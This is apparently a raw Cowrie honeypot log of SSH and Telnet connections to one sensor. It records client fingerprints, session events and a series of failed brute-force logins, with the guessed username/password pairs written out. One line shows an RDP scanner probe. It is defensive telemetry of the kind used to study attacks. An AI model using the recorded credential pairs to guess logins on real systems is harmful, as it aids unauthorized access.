{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:55.781864Z","src_ip":"45.153.34.112","session":"68294c5dd359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:56.028841Z","src_ip":"45.153.34.112","session":"68294c5dd359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:56.381860Z","src_ip":"43.134.175.218","session":"b65fa6486739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123sas","message":"login attempt [user/123sas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:56.726790Z","src_ip":"2.57.121.25","session":"cfc9ecce4d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":41400,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc84ad051b70","protocol":"ssh","message":"New connection: 43.173.122.127:41400 (10.17.0.5:22) [session: fc84ad051b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:57.113523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:57.118982Z","src_ip":"43.173.122.127","session":"fc84ad051b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:57.122880Z","src_ip":"45.153.34.112","session":"68294c5dd359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:57.191638Z","src_ip":"43.173.122.127","session":"fc84ad051b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dick","message":"login attempt [root/dick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:57.498468Z","src_ip":"43.173.122.127","session":"fc84ad051b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12346","message":"login attempt [user/12346] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:57.835304Z","src_ip":"2.57.121.25","session":"cfc9ecce4d31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:58.571394Z","src_ip":"43.173.122.127","session":"fc84ad051b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121291","message":"login attempt [user/121291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:58.943575Z","src_ip":"2.57.121.25","session":"cfc9ecce4d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57890,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d3dafc87218","protocol":"ssh","message":"New connection: 45.153.34.112:57890 (10.17.0.5:22) [session: 4d3dafc87218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:59.292976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:59.298219Z","src_ip":"45.153.34.112","session":"4d3dafc87218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:59.384524Z","src_ip":"45.153.34.112","session":"4d3dafc87218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:59.653512Z","src_ip":"45.153.34.112","session":"4d3dafc87218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57208,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ef1daa48a2","protocol":"telnet","message":"New connection: 192.119.13.58:57208 (10.17.0.5:23) [session: 72ef1daa48a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:59.892389Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:00.051980Z","src_ip":"2.57.121.25","session":"cfc9ecce4d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59026,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd5cb6e2e517","protocol":"telnet","message":"New connection: 192.119.13.58:59026 (10.17.0.5:23) [session: cd5cb6e2e517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:00.360100Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59328,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf39782acc9d","protocol":"telnet","message":"New connection: 192.119.13.58:59328 (10.17.0.5:23) [session: cf39782acc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:00.419202Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:00.742432Z","src_ip":"45.153.34.112","session":"4d3dafc87218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.02076768875122,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:01.569447Z","src_ip":"16.58.56.214","session":"3a5a1798aa34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":47956,"dst_ip":"10.17.0.5","dst_port":22,"session":"768b1fb901ee","protocol":"ssh","message":"New connection: 193.37.70.224:47956 (10.17.0.5:22) [session: 768b1fb901ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:02.289672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:02.294527Z","src_ip":"193.37.70.224","session":"768b1fb901ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:02.388561Z","src_ip":"193.37.70.224","session":"768b1fb901ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cristina","message":"login attempt [root/cristina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:02.670713Z","src_ip":"193.37.70.224","session":"768b1fb901ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54004,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a6ae56db465","protocol":"ssh","message":"New connection: 45.153.34.112:54004 (10.17.0.5:22) [session: 2a6ae56db465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:02.856408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:02.861235Z","src_ip":"45.153.34.112","session":"2a6ae56db465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:02.945111Z","src_ip":"45.153.34.112","session":"2a6ae56db465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:03.192929Z","src_ip":"45.153.34.112","session":"2a6ae56db465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.92836117744446,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:03.215852Z","src_ip":"192.119.13.58","session":"04499a145982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:03.766621Z","src_ip":"193.37.70.224","session":"768b1fb901ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:04.284565Z","src_ip":"45.153.34.112","session":"2a6ae56db465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50324,"dst_ip":"10.17.0.5","dst_port":23,"session":"32572af51cfe","protocol":"telnet","message":"New connection: 192.119.13.58:50324 (10.17.0.5:23) [session: 32572af51cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:05.053050Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51222,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d76062d469","protocol":"telnet","message":"New connection: 192.119.13.58:51222 (10.17.0.5:23) [session: 99d76062d469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:05.291130Z"}
{"eventid":"cowrie.session.closed","duration":47.05343413352966,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:05.557730Z","src_ip":"192.119.13.58","session":"38a144be8a8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54026,"dst_ip":"10.17.0.5","dst_port":22,"session":"114a4ceade74","protocol":"ssh","message":"New connection: 45.153.34.112:54026 (10.17.0.5:22) [session: 114a4ceade74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:06.270818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:06.275972Z","src_ip":"45.153.34.112","session":"114a4ceade74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:06.358347Z","src_ip":"45.153.34.112","session":"114a4ceade74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:06.605325Z","src_ip":"45.153.34.112","session":"114a4ceade74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57938,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea75d7a912a1","protocol":"telnet","message":"New connection: 192.119.13.58:57938 (10.17.0.5:23) [session: ea75d7a912a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:06.885685Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:07.690907Z","src_ip":"45.153.34.112","session":"114a4ceade74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.43861150741577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:08.335423Z","src_ip":"192.119.13.58","session":"22edeadbb1f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63356,"dst_ip":"10.17.0.5","dst_port":22,"session":"5868dacfa583","protocol":"ssh","message":"New connection: 152.42.212.128:63356 (10.17.0.5:22) [session: 5868dacfa583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:08.504955Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:08.510072Z","src_ip":"152.42.212.128","session":"5868dacfa583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:08.514113Z","src_ip":"152.42.212.128","session":"5868dacfa583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40774,"dst_ip":"10.17.0.5","dst_port":22,"session":"17708e8d6b3d","protocol":"ssh","message":"New connection: 45.153.34.112:40774 (10.17.0.5:22) [session: 17708e8d6b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:09.886125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:09.890975Z","src_ip":"45.153.34.112","session":"17708e8d6b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:09.973474Z","src_ip":"45.153.34.112","session":"17708e8d6b3d","protocol":"ssh"}
